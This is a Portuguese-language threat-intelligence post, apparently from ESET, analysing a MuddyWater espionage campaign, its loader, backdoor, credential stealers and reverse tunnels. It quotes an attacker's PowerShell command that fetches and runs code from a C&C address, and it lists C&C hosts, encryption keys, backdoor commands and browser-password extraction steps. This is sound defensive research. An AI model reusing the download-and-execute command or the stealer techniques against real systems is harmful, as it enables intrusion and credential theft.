A equipe de pesquisa da ESET identificou uma nova atividade do MuddyWater que visa principalmente organizações em Israel, com um alvo confirmado no Egito. O MuddyWater, também conhecido como Mango Sandstorm ou TA450, é um grupo de ciberespionagem alinhado ao Irã, conhecido por seu persistente direcionamento a setores governamentais e de infraestrutura crítica, muitas vezes utilizando malware personalizado e ferramentas disponíveis publicamente.
Nessa campanha, os cibercriminosos implantaram um conjunto de ferramentas personalizadas e não documentadas anteriormente com o objetivo de melhorar a evasão e a persistência da defesa. Entre essas ferramentas está um loader Fooder personalizado e projetado para executar o MuddyViper, um backdoor C/C++. Várias versões do Fooder se disfarçam como o clássico jogo Snake, e sua lógica interna inclui uma função de atraso personalizada inspirada na mecânica do jogo, combinada com o uso frequente de chamadas à API Sleep.
Esses recursos têm o objetivo de atrasar a execução e impedir a análise automatizada. O MuddyViper permite que os cibercriminosos coletem informações do sistema, executem arquivos e comandos de shell, transfiram arquivos e exfiltrem credenciais de login do Windows e dados do navegador. A campanha também aproveita os ladrões de dados de login (CE-Notes e LP-Notes) e as ferramentas de tunelamento reverso (go-socks5), há muito tempo um dos favoritos dos operadores do MuddyWater.
Embora este seja o nosso primeiro post público sobre o MuddyWater, os pesquisadores da ESET têm acompanhado o grupo por vários anos e documentaram suas atividades em várias edições do APT Activity Report. Ao contrário das campanhas anteriores do MuddyWater, que muitas vezes eram barulhentas e facilmente detectadas, a que foi abordada neste post demonstra uma abordagem mais focada, sofisticada e refinada.
Pontos principais desta publicação:
- Os desenvolvedores do MuddyWater adotaram o CNG, a API criptográfica do Windows de última geração, que é exclusiva para grupos alinhados ao Irã e um tanto atípica no cenário mais amplo de ameaças.
- O grupo também usou técnicas mais avançadas para implantar o MuddyViper, um novo backdoor, usando um loader (Fooder) que o carrega reflexivamente na memória e o executa.
- Fornecemos análises técnicas das ferramentas usadas nessa campanha, incluindo o MuddyViper, o loader Fooder, o credential stealers do navegador CE-Notes, o credential stealers LP-Notes, o credential stealers do navegador Blub e os túneis reversos go-socks5.
- Durante essa campanha, os operadores da ameaça evitaram deliberadamente as sessões interativas com o teclado, que é uma técnica historicamente ruidosa, muitas vezes caracterizada por comandos digitados incorretamente.
Visão geral do grupo MuddyWater
O MuddyWater é um grupo de ciberespionagem ativo desde pelo menos 2017, visando principalmente organizações no Oriente Médio e na América do Norte. É um dos grupos APT alinhados ao Irã mais ativos rastreados pela equipe de pesquisa da ESET e tem ligações com o Ministério da Inteligência e Segurança Nacional do Irã.
O grupo foi apresentado pela primeira vez ao público como MuddyWater pela Unidade 42 em 2017, cuja descrição da atividade do grupo é consistente com o perfil da ESET - um foco na ciberespionagem, o uso de documentos maliciosos como anexos projetados para solicitar aos usuários que habilitem macros e contornem os controles de segurança, e um alvo principal de instituições localizadas no Oriente Médio.
Entre as atividades realizadas pelo grupo estão a Operation Quicksand (2020), uma campanha de ciberespionagem direcionada a órgãos governamentais e organizações de telecomunicações israelenses, que exemplifica a evolução do grupo de táticas básicas de phishing para operações mais avançadas de vários estágios; e uma campanha direcionada a grupos e organizações políticas na Turquia, demonstrando o foco geopolítico do grupo, sua capacidade de adaptar táticas de engenharia social a contextos locais e a dependência de malware modular e infraestrutura de C&C flexível.
Além de sua atividade frequente, as operações do MuddyWater costumam chamar à atenção. O grupo é conhecido por seu direcionamento persistente para os setores governamental, militar, de telecomunicações e de infraestrutura essencial, geralmente usando malware personalizado e ferramentas disponíveis publicamente para obter acesso, manter a persistência e exfiltrar dados confidenciais. Além de visar seu arqui-inimigo, Israel, o grupo parece ter como alvo países que mantêm, ou buscam fortalecer, laços diplomáticos com o Irã.
A ESET documentou várias campanhas atribuídas ao MuddyWater que destacam a evolução do conjunto de ferramentas do grupo e a mudança de seu foco operacional. Embora as operações anteriores tenham se baseado em um amplo direcionamento e em técnicas relativamente pouco sofisticadas, as campanhas mais recentes demonstram sinais de refinamento técnico e maior precisão.
Em março e abril de 2023, o MuddyWater atacou uma vítima não identificada na Arábia Saudita implantando um script em lote que baixou um backdoor baseado no PowerShell, que foi usado para baixar e executar cargas arbitrárias e, posteriormente, para remover a carga inicial do disco.
O grupo conduziu uma campanha em janeiro e fevereiro de 2025 que se destacou por sua sobreposição operacional com o Lyceum (um subgrupo do OilRig), detalhada em mais detalhes nesta publicação. Essa última sobreposição sugere uma evolução no modus operandi do MuddyWater.
As ferramentas personalizadas documentadas publicamente pelo grupo incluem, por exemplo, os backdoors Bugsleep, Blackout, Small Sieve, Mori e POWERSTATS, bem como variantes compiladas personalizadas de ferramentas de código aberto, como LaZagne ou CrackMapExec. As campanhas do MuddyWater normalmente não aproveitam nem introduzem novas ferramentas, malware ou técnicas; em vez disso, elas costumam ser notáveis devido ao direcionamento.
Embora o MuddyWater inicialmente tenha se concentrado estritamente na ciberespionagem, sua cooperação com o Lyceum levou à segmentação do setor de manufatura por meio de spearphishing. O ataque gerou um ruído considerável e alcançou pouco em termos de objetivos operacionais.
A campanha descrita neste post mostra o que, para o MuddyWater, parece ser um avanço sem precedentes no conjunto de ferramentas e na execução técnica.
Vitimologia
Como mencionado anteriormente, durante essa campanha, o MuddyWater visou principalmente organizações em Israel, mas também uma no Egito. A Tabela 1 lista as vítimas por país e vertical. A campanha começou em 30 de setembro de 2024 e terminou em 18 de março de 2025.
| Country | Vertical |
| Egypt | Technology |
| Israel | Engineering #1 |
| Engineering #2 | |
| Engineering #3 | |
| Local Government #1 | |
| Local Government #2 | |
| Manufacturing | |
| Technology | |
| Transportation | |
| Utilities | |
| University #1 | |
| University #2 | |
| University #3 | |
| Unidentified #1 | |
| Unidentified #2 | |
| Unidentified #3 | |
| Unidentified #4 | |
| Unidentified #5 |
Um aspecto interessante a ser observado sobre a vítima na vertical de serviços públicos é que ela também foi comprometida pelo Lyceum em 11 de fevereiro de 2025.
Sobreposição e cooperação com o Lyceum
No início de 2025, a equipe de pesquisa da ESET identificou uma sobreposição operacional entre o MuddyWater e o Lyceum, um subgrupo do grupo de ciberespionagem OilRig, alinhado ao Irã, também conhecido como HEXANE ou Storm-0133. O OilRig está ativo desde pelo menos 2014 e acredita-se que esteja baseado no Irã. As ferramentas que atribuímos ao Lyceum incluem DanBot, Shark, Milan, Marlin, Solar, Mango, OilForceGTX e uma variedade de downloaders que utilizam serviços de nuvem legítimos para comunicação C&C. Observamos anteriormente que o Lyceum tinha como alvo várias organizações israelenses, incluindo órgãos governamentais nacionais e locais, bem como organizações do setor de saúde.
Durante a campanha abordada aqui, o MuddyWater conduziu uma subcampanha conjunta com a OilRig em janeiro e fevereiro de 2025. O MuddyWater iniciou o acesso por meio de um e-mail de spearphishing contendo um link para um instalador do software de gerenciamento e monitoramento remoto (RMM) Syncro. Após o comprometimento inicial, os cibercriminosos instalaram uma ferramenta adicional de RMM, o PDQ, e implantaram um loader Mimikatz personalizado disfarçado de arquivos de certificado com extensões de arquivo .txt. Com base na atividade observada, as credenciais coletadas provavelmente foram usadas pelo Lyceum para obter acesso e assumir o controle das operações dentro da organização do setor de manufatura visada em Israel.
Essa cooperação sugere que o MuddyWater pode estar atuando como um intermediário de acesso inicial para outros grupos alinhados ao Irã.
Atribuição
A vitimologia, as TTPs e as ferramentas observadas nessa campanha se alinham com vários dos recursos e ferramentas recentemente documentados que atribuímos anteriormente ao MuddyWater. Essa avaliação baseia-se no método de acesso inicial e na entrega subsequente de ferramentas perigosas, geralmente por meio de e-mails de spearphishing que contêm links para download do software RMM.
TTPs
Os operadores do MuddyWater continuam confiando em backdoors previsíveis e baseados em scripts escritos em PowerShell e Go. Seus alvos continuam concentrados nos setores de telecomunicações, governamental e de petróleo e energia.
O acesso inicial é normalmente obtido por meio de e-mails de spearphishing, geralmente contendo anexos em PDF com links para instaladores de software de RMM hospedados em plataformas gratuitas de compartilhamento de arquivos, como OneHub, Egnyte ou Mega. Esses links levam ao download de ferramentas de RMM, incluindo Atera, Level, PDQ e SimpleHelp.
Entre as ferramentas implantadas pelos operadores do MuddyWater está também o backdoor VAX-One, cujo nome vem do software legítimo que ele imita: Veeam, AnyDesk, Xerox e o serviço de atualização do OneDrive.
A confiança contínua do grupo nesse manual familiar torna sua atividade relativamente fácil de detectar e bloquear.
Sobreposição de ferramentas
Além disso, identificamos sobreposições de código entre várias das ferramentas recém-documentadas e aquelas que atribuímos anteriormente ao MuddyWater:
- O LP-Notes, um novo ladrão de credenciais, tem o mesmo design do CE-Notes, um ladrão de dados de navegador, que associamos anteriormente ao MuddyWater. Durante essa campanha, também observamos um carregador Mimikatz, que compartilha o mesmo design e métodos de ofuscação do CE-Notes.
- Observamos diversas novas variantes dos túneis reversos go-socks5 personalizados do MuddyWater, que o grupo usou ao longo de 2024 e 2025.
- Em dois casos, observamos os túneis reversos personalizados do go-socks5 incorporados em um novo carregador da MuddyWater, chamado internamente de Fooder. Em uma dezena de outros casos, esse carregador foi usado para carregar o novo backdoor da MuddyWater, o MuddyViper.
- É interessante notar que o MuddyViper e as variantes do loader CE-Notes/LP-Notes/Mimikatz usam a API CNG para criptografia e descriptografia de dados. Até onde sabemos, isso é exclusivo de grupos alinhados ao Irã. Outra característica que essas ferramentas compartilham é que elas tentam roubar as credenciais do usuário abrindo uma falsa caixa de diálogo de segurança do Windows.
Conjunto de ferramentas
Nesta postagem do blog, documentamos ferramentas personalizadas anteriormente desconhecidas usadas pelo MuddyWater:
- Fooder loader - um loader recém-identificado que carrega o backdoor do MuddyViper na memória e o executa. Observe que várias versões do Fooder se disfarçam como o clássico jogo Snake, daí a designação MuddyViper. Outra característica notável do Fooder é o uso frequente de uma função de atraso personalizada que implementa a lógica central do jogo Snake, combinada com as chamadas da API Sleep. Esses recursos têm o objetivo de atrasar a execução em uma tentativa de ocultar o comportamento mal-intencionado dos sistemas de análise automatizados.
- Backdoor MuddyViper - um backdoor C/C++ anteriormente não documentado que permite que os invasores coletem informações do sistema, façam download e upload de arquivos, executem arquivos e comandos do shell e roubem credenciais do Windows e dados do navegador.
O restante do conjunto de ferramentas documentado neste blogpost inclui:
- CE-Notes, um ladrão de dados de navegador,
- LP-Notes, um ladrão de credenciais,
- Blub, um ladrão de dados de navegador, e
- vários túneis reversos go-socks5.
Carregador Fooder
O Fooder é um carregador C/C++ de 64 bits projetado para descriptografar e, em seguida, carregar reflexivamente a carga útil incorporada (conforme ilustrado na Figura 1), sendo o MuddyViper a carga útil observada com mais frequência.
Fooder parece ser o nome interno dessa ferramenta, com base em seus caminhos de PDB:
- C:\Users\win\Desktop\Fooder\Debug\Launcher.pdb
- C:\Usuários\pc\Desktop\main\My_Project\Fooder\x64\Debug\Launcher.pdb
Embora tenhamos capturado apenas uma amostra, acreditamos que o Fooder é executado por um aplicativo lançador simples, escrito em C. Ele não tem ofuscação de cadeia de caracteres e registro detalhado no console, e o caminho do PDB permanece intacto:
C:\Users\pc\source\repos\ConsoleApplication7\x64\Release\ConsoleApplication7.pdb
Observamos uma instância (SHA-1: 76632910CF67697BF5D7285FAE38BFCF438EC082) do componente que está iniciando o Fooder. Implantado com o nome %USERPROFILE%\Downloads\OsUpdater.exe, o iniciador espera uma ID de processo como argumento de linha de comando. Uma vez executado, ele tenta duplicar o token do processo especificado por meio da API DuplicateTokenEx e, em seguida, usa CreateProcessAsUserA para executar o Fooder.
Uma vez executado, o Fooder descriptografa o payload incorporado seguindo estas etapas:
- O argumento da linha de comando(6) é adicionado a cada byte de uma chave codificada, o que produz a chave de descriptografia AES, compartilhada em todas as amostras, 6969697820511281801712341067111416133321394945138510872296106446.
- Um valor codificado(5) é subtraído de cada byte da carga útil codificada.
- Por fim, a carga útil codificada é descriptografada usando a API WinCrypt e a chave AES.
Em seguida, o Fooder carrega a carga útil diretamente na memória usando técnicas reflexivas, permitindo que ela seja executada sem depender de chamadas de sistema padrão ou gravação em disco.
Uma vez iniciado, o Fooder foi usado para entregar não apenas o MuddyViper, mas também o HackBrowserData, um utilitário de código aberto capaz de descriptografar e exportar informações confidenciais do navegador, como credenciais e cookies. O Fooder também facilita a implantação de variantes do go-socks5, que são binários compilados em Go que funcionam como túneis reversos, permitindo que os invasores contornem firewalls e mecanismos de NAT (Network Address Translation). Notavelmente, o grupo MuddyWater utilizou anteriormente o go-socks5 independentemente do Fooder, indicando uma dependência contínua dessa ferramenta para comunicação furtiva em rede e exfiltração de dados.
Observe que várias versões do Fooder se disfarçam como o jogo Snake - veja as strings e os mutexes destacados na Figura 2 - sua carga útil incorporada com mais frequência.
Outra característica notável do Fooder é o uso frequente de uma função de atraso personalizada (que implementa a lógica central do jogo Snake, em que o jogador manobra a extremidade de uma linha crescente, muitas vezes com o tema de uma cobra, para evitar obstáculos e coletar itens) e as chamadas da API Sleep. O atraso na execução é obtido imitando a função de atraso baseada em loop: como no jogo Snake, em que cada movimento é controlado por um loop que espera por um curto período antes de atualizar o jogo. O loop introduz atrasos na execução que retardam o comportamento do malware, ajudando-o a evitar ferramentas que monitoram a atividade maliciosa rápida. A Figura 3 destaca os atrasos e o banner de boas-vindas do jogo Snake apresentado ao usuário em tempo de execução.
O Fooder não tem nenhum recurso de persistência incorporado. No entanto, nos casos em que a carga útil final do Fooder é o backdoor MuddyViper, o backdoor pode configurar a persistência para o carregador por meio de uma tarefa agendada ou da pasta Startup.
Backdoor do MuddyViper
O MuddyViper, um backdoor não documentado anteriormente, escrito em C e C++, permite obter acesso secreto e controle sobre sistemas comprometidos. Observamos o MuddyViper apenas na memória, carregado pelo Fooder, o que pode ser a razão pela qual não há ofuscação ou criptografia de strings. Como é típico do MuddyWater, o MuddyViper envia mensagens de status extremamente detalhadas e frequentes ao seu servidor C&C durante toda a sua execução, como as seguintes:
- [+] Persist: -------------------- Hi,I am Live --------------------
- [+] Persist: -------------------- Hi,First Time --------------------
- [-] Persist: failed Create task !!!!
O backdoor também mantém uma longa lista de mais de 150 nomes de processos e detalhes sobre os respectivos produtos para poder enviar relatórios detalhados sobre as ferramentas de segurança detectadas no ambiente comprometido, embora a adição dos detalhes pudesse ter sido facilmente implementada no lado do servidor:
- [>] Processo: aciseagent.exe ~~> (Cisco Umbrella Roaming Security) --> (Security DNS) encontrado!
- [>] Processo: acnamagent.exe ~~> (Absolute Persistence) --> (Asset Management) encontrado!
- [>] Processo: acnamlogonagent.exe ~~> (Absolute Persistence) --> (Asset Management) encontrado!
Esse comportamento resulta em um tráfego de rede substancial.
O MuddyViper tem dois métodos para estabelecer a persistência:
- Seu diretório de instalação pode ser configurado como uma pasta de inicialização do Windows, definindo os seguintes valores de registro para %APPDATALOCAL%\Microsoft\Windows\PPBCompatCache\ManagerCache
○ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup.
hKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup.
- Uma tarefa agendada chamada ManageOnDriveUpdater pode iniciar o MuddyViper a partir do caminho em cada inicialização do sistema.
O MuddyViper suporta 20 comandos de backdoor (consulte a Tabela 2 para obter detalhes sobre todos eles), incluindo a capacidade de abrir e operar shells reversos, baixar, carregar e executar arquivos, relatar as ferramentas de segurança em execução, roubar credenciais de usuário e dados de uma variedade de navegadores, configurar sua própria persistência e desinstalar-se.
Tabela 2. Comandos do backdoor MuddyViper
| ID | Arguments | Action | Response |
| 200 | N/A | N/A | 0, via the GET /adad or GET /aq36 request, to obtain a backdoor command. |
| 207 | N/A | Decrypts the embedded HackBrowserData tool and reflectively loads it in a new thread. This open-source tool can steal credentials, history, and other information from web browsers. MuddyViper then compresses the collected data (into a file named CacheDump.zip) and uploads it to the C&C server. |
Collected browser data, via the GET /mq65 request. In case of an error, a custom status message is sent instead. |
| 300 | <command_line> | Launches a reverse shell using: • the provided command line (command ID 300)
• C:\windows\system32\cmd.exe (command ID 301)
• C:\windows\system32\WindowsPo
Then, in a loop, uploads the process output to the C&C server and interprets the server response (see command IDs 350-352) until interrupted.
|
Process output, via the GET /oi32 request. In case of an error, a custom status message is sent instead. |
| 301 | N/A | ||
| 302 | N/A | ||
| 350 | N/A | Must follow command IDs 300-302. Sleeps for a preconfigured amount of time – for the reverse shell loop, the default is one second. | |
| 351 | Sleep time (in milliseconds) | Must follow command IDs 300-302. Configures the sleep time for the reverse shell loop – the default is one second. | |
| 352 | Input for the reverse shell. | Must follow command IDs 300-302. Passes the provided argument to the running reverse shell. | |
| 360 | N/A | Not implemented, likely related to the reverse shell API. | A custom error message: [-] Agent does not have an active pipe |
| 400 | Flag. | Must follow command ID 401. It confirms that the C&C server has successfully received a part of the exfiltrated local file. Optionally adjusts the sleep before the next upload specified in command ID 401 to 10 seconds. | No response, unless this command is issued outside of a pending file upload process, it sends a custom error message: [-] Agent does not have an DOWNLOAD file |
| 401 | Sleep time (in milliseconds), filename. | Initiates a file upload operation from the specified local file to the C&C server in chunks, with the specified sleep time between each upload. | Contents of the specified file, via a series of GET /dadw requests. |
| 500 | Data chunk. | Must follow command ID 501. Writes the received data chunk into a previously created and opened local file. | A custom error message, if the operation fails. |
| 501 | Sleep time (in milliseconds), filename. | Downloads a file from the C&C server in chunks into a local file with the specified name. The specified sleep time is used as a delay after downloading each data chunk. Deletes the file if the connection cannot be established after six consecutive attempts. | A series of GET /dadwqa requests, to request the file contents. |
| 700 | Sleep time (in milliseconds) | Configures the sleep time between connection attempts to the specified value (default is 60 seconds). | N/A |
| 800 | N/A | Enumerates running processes, searching for selected security tools from an extensive hardcoded list. | For each detected process, sends a report with the following information, populated from that hardcoded table: [>] Process: <process_name> ~~> (<product_name>) --> (<category>) found! |
| 805 | Timeout (in milliseconds) | Displays a fake Windows Security dialog (see Figure 4), prompting the user to fill in credentials, which are then exfiltrated to the C&C server. Uses the provided argument as a timeout for the dialog. | Collected credentials, via the GET /rq13 request: [+] creds ~~> Username:<username> ~~> Password:<password> If not successful, a custom error message is sent instead. |
| 806 | N/A | Sets up persistence via a scheduled task named ManageOnDriveUpdater. The backdoor copies itself to its installation path, unless it is already running from there. | A custom status message, depending on the outcome of the operation. |
| 900 | N/A | Uninstalls itself. First, clears persistence set via a Windows Startup Folder and then deletes itself. Note that this action will not clear the persistence via a scheduled task that can be set by the backdoor command ID 806. |
A custom status message, depending on the outcome of the operation. |
| 905 | N/A | Terminates the current backdoor process. | N/A |
| 906 | N/A | Relaunches itself (via the CreateProcessW API) and terminates the current process. | A custom status message, depending on the outcome of the operation. |
| other | N/A | N/A | [-] Agent statusCode I don't have it |
Um dos comandos listados na Tabela 2, com ID 805, exibe uma caixa de diálogo falsa do Windows Security em uma tentativa de induzir a vítima a preencher suas credenciais do Windows, como visto na Figura 4. Uma técnica semelhante é usada pelo LP-Notes stealer do MuddyWater (consulte LP-Notes credential stealer).
Outro comando, com ID 900, visa remover o MuddyViper da máquina comprometida e limpar sua persistência; no entanto, o comando não remove todos os rastros do backdoor.
Protocolo de rede
Para se comunicar com seu servidor C&C, o MuddyViper usa solicitações HTTP GET (por meio da API WinHTTP) na porta 443, com o sinalizador WINHTTP_FLAG_SECURE configurado para usar SSL/TLS. Dois servidores C&C foram observados: processplanet[.]org e 35.175.224[.]64.
Ambas as direções de comunicação AES-CBC criptografam os dados, usando a API CNG com a chave (usada em todas as amostras) 0608101047106453101617106423101013101012101083109710108585106969 e o IV 0.
No sentido backdoor → servidor das comunicações:
- Cada URI de endpoint compatível com o servidor C&C pode ser usado pelo backdoor para um tipo específico de solicitação, como solicitação de um comando, upload de um arquivo ou envio de uma mensagem de status personalizada.
- Dados adicionais para o servidor C&C são incluídos no corpo da solicitação HTTP, o que não é convencional para solicitações HTTP GET.
- A string User-Agent é A WinHTTP Example Program/1.0, um remanescente do código de exemplo para a API WinHttpOpen.
- Os tempos limite de conexão, envio, recebimento e resposta são definidos como 30 segundos.
- O tempo de espera padrão entre tentativas consecutivas de conexão é de 60 segundos. Esse valor pode ser configurado pelo comando ID 700.
- Em caso de falha, as tentativas de conexão são repetidas até 10 vezes.
- Antes da criptografia, os dados são sempre formatados como <nome_do_computador>/<nome_do_usuário>*<dados>.
No sentido servidor → backdoor das comunicações:
- O código de status HTTP determina a ID do comando backdoor.
- Os argumentos do comando backdoor são incluídos no corpo da resposta HTTP.
Ladrão de dados do navegador CE-Notes
O CE-Notes é um ladrão de dados de navegador que batizamos com o nome do arquivo - ce-notes.txt - usado para armazenar os dados roubados no disco. Descobrimos o CE-Notes em 2024, quando observamos o MuddyWater implantando versões EXE e DLL dele no sistema de uma organização em Israel.
O CE-Notes foi baixado com o seguinte comando do PowerShell:
"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" (Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri http://206.71.149[.]51:443/57576?filter_relational_operator_2=60169).content | Invoke-Expression
Ambas as versões do ladrão de dados do navegador tentam roubar e descriptografar a chave de criptografia vinculada ao aplicativo armazenada no arquivo Local State(%APPDATA%\Local\Google\Chrome\User Data\Local State) dos navegadores Chromium (Chrome, Brave e Edge). A criptografia vinculada a aplicativos foi introduzida na versão 127 do Chrome, permitindo que o Chrome criptografe dados vinculados à identidade do aplicativo. Os criminosos cibernéticos e os grupos APT perceberam e estão tentando ativamente contornar a criptografia vinculada a aplicativos para roubar chaves de sessão. O CE-Notes é bastante semelhante ao ChromElevator no GitHub.
Os dados coletados são criptografados em AES-CBC usando a API CNG com a chave 9262A37DF166AC1D5F582AAC79F54CCB47623BFD9BA001228D284AE13A08F52F e o IV 4103A09887B82FFD56A93BB431805224.
Em seguida, os dados criptografados são armazenados no disco em C:\Users\Public\Downloads\ce-notes.txt para recuperação posterior (provavelmente por meio de uma ferramenta de RMM, já que nem as versões EXE nem DLL têm qualquer meio de exfiltrar o arquivo). A principal diferença entre o EXE e a DLL é a funcionalidade de evasão de máquina virtual adicionada à DLL.
Observamos o CE-Notes browser-data stealer nos seguintes locais:
- C:\system2.dll
- C:\Usuários\Público\Downloads\system2.dll
- C:\Intel\system.dll
- C:\20240926_165509.exe
Ladrão de credenciais LP-Notes
O LP-Notes é um ladrão de credenciais do Windows em C/C++ com o mesmo design do ladrão de dados do navegador CE-Notes. Seguindo a mesma convenção de nomenclatura do caso do CE-Notes, batizamos o stealer de LP-Notes com base no arquivo local que ele usa para preparar as credenciais roubadas antes da exfiltração: C:\Users\Public\Downloads\lp-notes.txt (vs. C:\Users\Public\Downloads\ce-notes.txt). O único objetivo do LP-Notes é induzir as vítimas a enviar suas credenciais exibindo uma caixa de diálogo falsa do Windows Security, solicitando que elas digitem seu nome de usuário e senha do Windows. Observamos uma instância do LP-Notes sendo baixada e executada pelo PowerShell com uma linha de comando muito semelhante à mostrada na seção CE-Notes.
Inicialização
Na execução, o LP-Notes começa procurando por um processo chamado taskhostw.exe (Processo Host para Tarefas do Windows) e, em seguida, personificando o contexto de segurança do processo (por meio da API ImpersonateLoggedOnUser ); somente então o LP-Notes ativa sua carga maliciosa.
O LP-Notes emprega várias técnicas simples de ofuscação, incluindo uma rotina personalizada baseada em adição para a descriptografia de strings. A Figura 5 mostra a função que descriptografa cadeias de caracteres de comprimentos que variam de 15 a 19 caracteres, embora a chave de descriptografia seja sempre a mesma: um conjunto de constantes predefinidas que são adicionadas ou subtraídas de cada byte da cadeia. É interessante notar que o CE-Notes usa a mesma rotina de descriptografia, exceto por uma chave de descriptografia diferente, conforme mostrado na Figura 6.
O LP-Notes usa o empilhamento de strings para strings com menos de 15 ou mais de 19 caracteres, incluindo a chave de descriptografia, o IV e os nomes de importação. Por fim, para ocultar o uso das funções da API do Windows e tornar a análise estática mais desafiadora, o LP-Notes resolve dinamicamente as funções da API durante a inicialização do tempo de execução do C, antes da execução da função WinMain, o ponto de entrada padrão para um aplicativo gráfico baseado no Windows da Microsoft, ocultando assim as referências diretas às funções da API da visualização do pseudocódigo (consulte a Figura 7).
Recursos
Em um loop infinito, o LP-Notes exibe uma caixa de diálogo falsa do Windows Security solicitando que a vítima digite seu nome de usuário e senha do Windows, conforme mostrado na Figura 8 (por meio da API CredUIPromptForWindowsCredentialsW ). Observe que, embora semelhante, esse não é o mesmo prompt de credencial falso usado pelo MuddyViper (consulte a Figura 4). Ele confirma imediatamente a validade de qualquer credencial enviada tentando fazer logon como esse usuário (por meio das APIs CredUnPackAuthenticationBufferW e LogonUserW ).
Se forem bem-sucedidas, as credenciais coletadas serão criptografadas em AES-CBC usando a API CNG com a chave ED15C8344B45DAED1E0578F8BC1A32411812C61F4CB45D89B107287DE0E09FFC e o IV 91A4E6F6D51DAEE773A8F00279792578.
Semelhante ao CE-Notes, o LP-Notes armazena as credenciais criptografadas em um arquivo local - neste caso, C:\Users\Public\Downloads\lp-notes.txt. Como nenhum desses componentes tem a capacidade de exfiltrar dados, é provável que outro componente cuide disso (uma ferramenta RMM ou o MuddyViper).
Ladrão de dados do navegador Blub
O Blub é um credential stealers de navegador em C/C++ que incorpora uma biblioteca SQLite vinculada estaticamente. O nome é derivado de seu nome de arquivo, Blub.exe. Observamos o caminho do PDB C:\Users\jojo\source\repos\stealer\x64\Release\stealer.pdb. Ele rouba dados de login do usuário dos navegadores da Web Google Chrome, Microsoft Edge, Mozilla Firefox e Opera.
Navegadores baseados no Chromium
Para o Chrome, o Blub primeiro encerra o chrome.exe (se estiver em execução) e, em seguida, analisa e descriptografa a chave de criptografia de C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Local State. Essa chave é usada para criptografar dados confidenciais armazenados pelo Chrome, como senhas ou cookies, e é protegida pela API de proteção de dados (DPAPI), de modo que só pode ser descriptografada no sistema em que foi originalmente criptografada. O Blub descriptografa essa chave por meio da API CryptUnprotectData e a utiliza para descriptografar as credenciais de usuário obtidas de todos os perfis de usuário do Chrome existentes no computador comprometido. As credenciais, armazenadas em C:\Users\<username>\AppData\Local\Google\Chrome\User Data\<profile_name>\Login Data, são obtidas por meio da seguinte consulta SQL:
SELECT origin_url, username_value, password_value FROM logins
Uma série semelhante de etapas é usada para obter e descriptografar as credenciais de usuário dos perfis de usuário do Microsoft Edge e do Opera, usando a chave obtida em C:\Users\<username>\AppData\Local\Microsoft\Edge\User Data\Local State e C:\Users\<username>\AppData\Roaming\Opera Software\Opera Stable\Local State, respectivamente.
Firefox
Por fim, para descriptografar as credenciais de usuário armazenadas para o Mozilla Firefox, o Blub analisa os valores de hostname, encryptedUsername e encryptedPassword do arquivo logins.json no diretório de perfil de cada usuário, ou seja, %APPDATAROAMING%\Mozilla\Firefox\Profiles\<profile_name>\. As credenciais são então descriptografadas usando a função PK11SDR_Decrypt da biblioteca nss3.dll usada pelo Firefox.
Os dados coletados são armazenados em um arquivo local chamado file.txt, sem criptografia. Os mesmos dados são registrados no console, sem criptografia, juntamente com mensagens de status detalhadas. O Blub não tem capacidade de exfiltrar esse arquivo.
Observe que o Blub verifica se há processos em execução associados a soluções de segurança antes de executar seu payload malicioso, concentrando-se na combinação dos processos afwServ.exe (firewall da Avast) e AvastSvc.exe (antivírus da Avast). Se o afwServ.exe for detectado em execução (mas não o AvastSvc.exe), o Blub conclui que o Norton está em execução (que agora usa o mecanismo do Avast) no host comprometido e sai. Se o AvastSvc.exe (Avast) for detectado, o Blub continua com a execução, exceto pelo fato de que ele pula o roubo de credenciais do Microsoft Edge.
Embora as cadeias de caracteres do Blub sejam armazenadas em texto claro, uma técnica simples de ofuscação é usada para cadeias de caracteres associadas à funcionalidade de roubo de dados do Google Chrome. Especificamente, várias cadeias de caracteres são concatenadas em uma cadeia longa, com 16 caracteres aleatórios entre elas, aparentemente para ocultá-las da visualização durante a análise estática:
gdGlog}o{eRwjpw&"encrypted_key":FAe[{hy|b-vcJvxGImpersonateLoggeh}gdOvlgt_NxuoolOpenProcessTokenVLUKKW'xxqjpwe}uDuplicateTokenExs5&}vl{tiplh|io|eIpuvvkdXznx(Gh}n2(sh|y⌂ryme~ds~
A remoção dos caracteres indesejados e a divisão das cadeias de caracteres retornam:
- "encrypted_key":
- ImpersonateLogge
- OpenProcessToken
- DuplicateTokenEx
Túneis reversos go-socks5
Os túneis reversos go-socks5 da MuddyWater são uma coleção de ferramentas compiladas em Go, baseadas em bibliotecas disponíveis publicamente, como go-socks5, yamux e resocks; elas têm sido usadas com frequência nas campanhas recentes do MuddyWater.
A maioria das variantes que analisamos parece ter o nome interno de ESETGO (sem relação com a ESET), com base nas sequências de configuração de compilação mostradas na Figura 9 e em outros artefatos.
path ESETGO
mod ESETGO (devel)
dep github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio=
dep github.com/hashicorp/yamux v0.1.1 h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE=
dep golang.org/x/net v0.29.0 h1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo=
dep golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=
build -buildmode=exe
build -compiler=gc
build -ldflags="-w -s"
build CGO_ENABLED=1
build CGO_CFLAGS=
build CGO_CPPFLAGS=
build CGO_CXXFLAGS=
build CGO_LDFLAGS=
build GOARCH=amd64
build GOOS=windows
build GOAMD64=v1
Figura 9. Cadeias de configuração de compilação das variantes go-socks5 do MuddyWater.
O objetivo principal do proxy go-socks5 do MuddyWater é retransmitir a comunicação entre a máquina comprometida (em uma porta específica) e um servidor C&C codificado, usando uma chave de conexão codificada para autenticar com o servidor C&C via SSL/TLS. Essa configuração permite que o invasor encaminhe o tráfego de C&C (possivelmente relacionado a outros comprometimentos) por meio do computador comprometido e, assim, oculte o local do servidor de C&C real.
Evolução do MuddyWatter
